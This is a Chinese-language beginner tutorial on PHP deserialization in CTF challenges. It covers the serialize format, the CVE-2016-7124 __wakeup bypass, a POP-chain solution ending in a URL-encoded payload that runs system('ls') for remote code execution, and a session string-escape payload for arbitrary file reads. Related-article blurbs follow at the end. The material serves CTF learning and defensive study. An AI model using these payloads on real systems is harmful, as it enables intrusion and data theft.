CTF反序列化入门

VSole2022-07-11 16:27:22

一、序列化及其反序列化

序列化是将对象状态转换为可保持或可传输的格式的过程。与序列化相对的是反序列化,它将流转换为对象。这两个过程结合起来,可以轻松地存储和传输数据。

就是将对象的状态信息写成一串字符,以便传输和保存。

o: 对象

a: 数组

s: 字符串

i: 整型

序列化函数:serialize()

反序列化函数: unserialize()

o:4:"info":2:{s:4:"name";i:2:"19";}

demo:

<?phpclass test{    public $name = "f1r3K0";    public $age = "18";}$class = new test();$class_ser = serialize($class);print_r($class_ser);

O:4:"test":2:{s:4:"name";s:6:"f1r3K0";s:3:"age";s:2:"18";}

其中$class 对test这个类进行实例化。

二、CTF反序列化之魔术方法

常见漏洞(CVE-2016-7124)

此漏洞发生于__wakeup这个事件型魔术方法。

只要对象的属性(变量)数大于实际的个数时,__wakeup就可以被被绕过。

如:O:4:"test":2:{s:4:"name";s:6:"f1r3K0";s:3:"age";s:2:"18";}

改为:O:4:"test":3:{s:4:"name";s:6:"f1r3K0";s:3:"age";s:2:"18";}

__wakeup就不会被执行,产生绕过效果。

<?phpclass xctf{    public $flag = '111';    public function __wakeup(){        exit("bad request");    }    $text = new xctf();    echo(serialize($text));?>

POP链

POP链的形成是由于在序列化和反序列化的过程中,事件型的魔术方法在特定的情况下被触发,达到跳转到含有漏洞的类中的目的。

这里上一道例题

ezpop

题目给了php源码。

<?php class crow{    public $v1;    public $v2;     function eval() {        echo new $this->v1($this->v2);    }     public function __invoke(){        $this->v1->world();    }} class fin{    public $f1;     public function __destruct(){        echo $this->f1 . '114514';    }     public function run(){        ($this->f1)();    }     public function __call($a, $b){        echo $this->f1->get_flag();    } } class what{    public $a;     public function __toString(){        $this->a->run();        return 'hello';    }}class mix{    public $m1;     public function run(){        ($this->m1)();    }     public function get_flag(){        eval('#' . $this->m1);    } } if (isset($_POST['cmd'])) {    unserialize($_POST['cmd']);} else {    highlight_file(__FILE__);}

可以看到有多个魔术方法,

__invoke() 当尝试以调用函数的方式调用一个对象时(把对象当函数用),

__destruct() 会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。(最后的时候)

__call() 在对象中调用一个不可访问方法时,会被调用。

__toString() 方法用于一个类被当成字符串时应怎样回应。

通过魔术方法在特定情况下的自动调用来控制更多类里的函数,本题的最终目的是调用到get_flag()函数。

pop链:fin->what->fin->crow->fin->mix

$a=new fin();

$a->f1=new what();

$a->f1->a=new fin();

$a->f1->a->f1=new crow();

$a->f1->a->f1->v1=new fin();

$a->f1->a->f1->v1->f1=new mix();

$a->f1->a->f1->v1->f1->m1="\n system('ls');";

echo urlencode(serialize($a));

payload:

O%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22what%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A4%3A%22crow%22%3A2%3A%7Bs%3A2%3A%22v1%22%3BO%3A3%3A%22fin%22%3A1%3A%7Bs%3A2%3A%22f1%22%3BO%3A3%3A%22mix%22%3A1%3A%7Bs%3A2%3A%22m1%22%3Bs%3A17%3A%22%0A+system%28%27ls+%2F%27%29%3B%22%3B%7D%7Ds%3A2%3A%22v2%22%3BN%3B%7D%7D%7D%7

最后用POST的方式传给cmd实现RCE。

萌新避坑:

【1】在传递payload时使用urlencode可以避免很多问题。

【2】在用hackbar传入url编码时,可能会将%0A(linux的换行符编码)自动转化为%0D%0A(window的换行符编码)所以在此慎用。

三、CTF反序列化之字符串逃逸

从一道例题开始

[安洵杯 2019]easy_serialize_php

代码审计:

<?php $function = @$_GET['f']; function filter($img){  //过滤函数    $filter_arr = array('php','flag','php5','php4','fl1g');  //过滤名单    $filter = '/'.implode('|',$filter_arr).'/i';    return preg_replace($filter,'',$img);  //以空格代替}  if($_SESSION){    unset($_SESSION);} $_SESSION["user"] = 'guest';$_SESSION['function'] = $function; extract($_POST);  //extract函数:将变量从数组中导入当前的符号表,这里是把post里的值取出来变为PHP变量,比如name=user,则为$name=user,最重要的是它会再变量冲突时覆盖前面的变量。 if(!$function){    echo '<a href="index.php?f=highlight_file">source_code</a>';} if(!$_GET['img_path']){    $_SESSION['img'] = base64_encode('guest_img.png');}else{    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));} $serialize_info = filter(serialize($_SESSION));  //产生字符串逃逸 if($function == 'highlight_file'){    highlight_file('index.php');}else if($function == 'phpinfo'){    eval('phpinfo();'); //maybe you can find something in here!}else if($function == 'show_image'){    $userinfo = unserialize($serialize_info);    echo file_get_contents(base64_decode($userinfo['img']));}

通过反序列化的字符串逃逸进行任意文件读取,$_SESSION["user"]

和$_SESSION['function']是可控的,但是用于读取文件的

 $_SESSION['img']却是不能直接控制的,所以要通过逃逸在function中构造出img的那一部分序列化,user则用来控制逃逸的字符串的数量。

具体思路:

通过user控制一个字符串的数量,目标是将function自带的那部分序列化变成user的值,使之失去影响,然后在 function中构造我们想要的function序列化以及img的序列化,使自带的img序列化失效。

总结公式:13+函数名位数+函数字符长度 ";s:函数名位数:"函数字符长度";s:??:"a"

payload:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:5:"abcde";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";

形成的序列化:

a:3:{s:4:"user";s:24:"【";s:8:"function";s:1:"a"】;s:8:"function";s:5:"abcde";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

【】是user的值。

序列化session
本作品采用《CC 协议》,转载必须注明作者和本文链接
最近写了点反序列化的题,才疏学浅,希望对CTF新手有所帮助,有啥错误还请大师傅们批评指正。php反序列化简单理解首先我们需要理解什么是序列化,什么是反序列化?本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。
php反序列化初探
2023-04-23 09:50:02
php中的反序列化漏洞通过控制php中的魔术方法,传入构造的恶意反序列化后的字符串,通过魔术方法触发反序列化漏洞,执行我们的恶意代码。注意反序列化构造的类名必须和源码中的一致,不能新生成一个类名。执行eval方法需要调用action()方法,action()方法的调用可以再ClassA的__destruct中调用
序列化漏洞汇总
2022-01-07 22:17:34
漏洞出现在WLS Security组件,允许远程攻击者执行任意命令。攻击者通过向TCP端口7001发送T3协议流量,其中包含精心构造的序列化Java对象利用此漏洞。然后将其序列化,提交给未做安全检测的Java应用。Java应用在进行反序列化操作时,则会触发TransformedMap的变换函数,执行预设的命令。
0x01.对比补丁 发现在./yii2/db/中新增了wakeup方法,在wakeup方法中抛出了一个异常。 我们看下__wakeup方法的介绍: unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先...
unserialize()函数能够重新把字符串变回php原来的值。为了能够unserialize()一个对象,这个对象的类必须已经定义过。如果序列化类A的一个对象,将会返回一个跟类A相关,而且包含了对象所有变量值的字符串。将对象格式化成有序的字符串。序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
前言目前官方已经不再维护ThinkPHP3.2.3,本文仅对ThinkPHP3.2.3反序列化链子进行复现,如有纰漏,还望指正。前面一共涉及到三个类,我们在Model.class.php中打印一个值,构造这三个类序列化字符串如下:。下方的sql语句可能存在注入这里直接对table进行拼接,上方有一个parseTable方法,跟进看一下,看看是否存在过滤。
未授权的反序列化漏洞,评分为7.5分,初步感觉可能缺少Gadget,导致无法RCE。但分析后发现可以找到RCE Gadget。此外CVE-2020-28653补丁修复存在缺陷,导致很容易被绕过,形成新的RCE漏洞CVE-2021-3287。
CTF反序列化入门
2022-07-11 16:27:22
这两个过程结合起来,可以轻松地存储和传输数据。就是将对象的状态信息写成一串字符,以便传输和保存。
初识Java反序列化
2022-06-10 08:49:49
研究某产品反序列化EXP时,搜集到的POC只有一段16进制字节序列难以利用,遂有下文对Java序列化和反序列化的学习。 大致内容如下: 序列化和反序列化示例 序列化数据组成解构 反序列化漏洞形成原理
0x00 前言CI框架作为PHP国外流行的框架,笔者有幸的挖掘到了它的反序列化POP链,其漏洞影响版本为4.*版本。
VSole
网络安全专家